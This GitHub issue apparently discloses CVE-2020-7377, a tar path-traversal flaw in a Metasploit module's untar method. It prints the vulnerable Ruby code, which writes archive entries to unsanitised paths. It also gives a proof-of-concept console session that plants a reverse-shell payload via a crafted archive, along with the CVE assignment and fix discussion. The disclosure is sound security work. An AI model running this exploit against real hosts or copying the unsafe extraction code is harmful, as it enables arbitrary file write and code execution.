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# auxiliary/admin/http/telpho10\_credential\_dump: untar method is vulnerable to directory traversal resulting in arbitrary file write on the Metasploit host #14015

Closed bcoles opened this issue on Aug 18, 2020 · 3 comments · Fixed by [#14034](#)

Labels bug module

bcoles commented on Aug 18, 2020

[Contributor](#)

The `untar` method in the `auxiliary/admin/http/telpho10_credential_dump` module is vulnerable to directory traversal resulting in arbitrary file write.

This can be used to achieve remote command execution on the Metasploit host from a remote malicious webserver masquerading as a Telpho10 system.

## Vulnerable Code

```
# Used for unpacking backup files
def untar(tarfile)
  destination = tarfile.split('.tar').first
  FileUtils.mkdir_p(destination)
  File.open(tarfile, 'rb') do |file|
    Rex::Tar::Reader.new(file) do |tar|
      tar.each do |entry|
        dest = File.join destination, entry.full_name # <-- TAR file name used as destination path for file write
        if entry.file?
          File.open(dest, 'wb') do |f|
            f.write(entry.read) # <-- file contents are written to destination path
          end
          File.chmod(entry.header.mode, dest)
        end
      end
    end
  end
  return destination
end
```

## PoC

```
msf6 > use multi/fileformat/zip_slip
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/fileformat/zip_slip) > set TARGETPAYLOADPATH ../../../../../../payload.bin
TARGETPAYLOADPATH => ../../../../../../payload.bin
msf6 exploit(multi/fileformat/zip_slip) > run

[+] msf.tar stored at /root/.msf4/local/msf.tar
[*] When extracted, the payload is expected to extract to:
[*] ../../../../../../payload.bin
msf6 exploit(multi/fileformat/zip_slip) > mkdir /var/www/html/telpho/
[*] exec: mkdir /var/www/html/telpho/

msf6 exploit(multi/fileformat/zip_slip) > mkdir /var/www/html/telpho/system
[*] exec: mkdir /var/www/html/telpho/system

msf6 exploit(multi/fileformat/zip_slip) > mkdir /var/www/html/telpho/temp
[*] exec: mkdir /var/www/html/telpho/temp

msf6 exploit(multi/fileformat/zip_slip) > Interrupt: use the 'exit' command to quit
msf6 exploit(multi/fileformat/zip_slip) > touch /var/www/html/telpho/system/backup.php
[*] exec: touch /var/www/html/telpho/system/backup.php

msf6 exploit(multi/fileformat/zip_slip) > mv /root/.msf4/local/msf.tar /var/www/html/telpho/temp/telpho10.epb
[*] exec: mv /root/.msf4/local/msf.tar /var/www/html/telpho/temp/telpho10.epb

msf6 exploit(multi/fileformat/zip_slip) > use auxiliary/admin/http/telpho10_credential_dump
msf6 auxiliary(admin/http/telpho10_credential_dump) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(admin/http/telpho10_credential_dump) > service apache2 start
[*] exec: service apache2 start

msf6 auxiliary(admin/http/telpho10_credential_dump) > ls -la /payload.bin
[*] exec: ls -la /payload.bin



ls: cannot access '/payload.bin': No such file or directory
msf6 auxiliary(admin/http/telpho10_credential_dump) > run
[*] Running module against 127.0.0.1

[*] Generating backup
[*] Downloading backup
[+] File saved in: /root/.msf4/loot/20200818043126_default_127.0.0.1_telpho10.backup_834653.tar
[-] Could not unpack files.
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/telpho10_credential_dump) > ls -la /payload.bin
[*] exec: ls -la /payload.bin

-rwxrwxrwx 1 root root 207 Aug 18 04:31 /payload.bin
msf6 auxiliary(admin/http/telpho10_credential_dump) > file /payload.bin
[*] exec: file /payload.bin

/payload.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, no section header
msf6 auxiliary(admin/http/telpho10_credential_dump) > tar --list -f /root/.msf4/loot/20200818043126_default_127.0.0.1_telpho10.backup_834653.tar
[*] exec: tar --list -f /root/.msf4/loot/20200818043126_default_127.0.0.1_telpho10.backup_834653.tar
```

```
tar: Removing leading `../../../../../../../../' from member names
../../../../../../../../payload.bin
```

  **bcoles** added **module** bug labels on Aug 18, 2020

**bcoles** commented on Aug 19, 2020

**Contributor** **Author**

Presumably this also affects Metasploit Pro.

@todb-r7 please request a CVE.

**todb-r7** commented on Aug 20, 2020

**Contributor**

Sure thing! Take [CVE-2020-7377](#).

@bcoles if you could be so kind, can you pick your favorite CWE vuln class and write a brief description of the issue? I can use that to populate the CVE ID.

**bcoles** commented on Aug 21, 2020

**Contributor** **Author**

Sure thing! Take [CVE-2020-7377](#).

@bcoles if you could be so kind, can you pick your favorite CWE vuln class and write a brief description of the issue? I can use that to populate the CVE ID.

[CWE-23: Relative Path Traversal](#)

The `auxiliary/admin/http/telpho10_credential_dump` module is affected by a relative path traversal vulnerability in the `untar` method which can be exploited to write arbitrary files to arbitrary locations on the host file system when the module is run on a malicious HTTP server.

In terms of affected versions, this probably affects the module since it was [introduced in 2016](#), and is currently unpatched.

This probably affects Metasploit running on any supported platform. Tested with Metasploit running on Linux.

  **bcoles** mentioned this issue on Aug 21, 2020

**telpho10\_credential\_dump: Prevent traversal in untar** #14034

 Merged

 **todb-r7** added a commit to todb-r7/cvelist that referenced this issue on Aug 24, 2020

 Add CVEs for two Metasploit modules ...

07c6606

  **todb-r7** mentioned this issue on Aug 24, 2020

**Add CVEs for two Metasploit modules** rapid7/cvelist#30

 Merged

 **smcintyre-r7** closed this as completed in [#14034](#) on Aug 25, 2020

#### Assignees

No one assigned

#### Labels

bug **module**

#### Projects


None yet

#### Milestone

No milestone

#### Development

Successfully merging a pull request may close this issue.

 **telpho10\_credential\_dump: Prevent traversal in untar**  
bcoles/metasploit-framework

2 participants

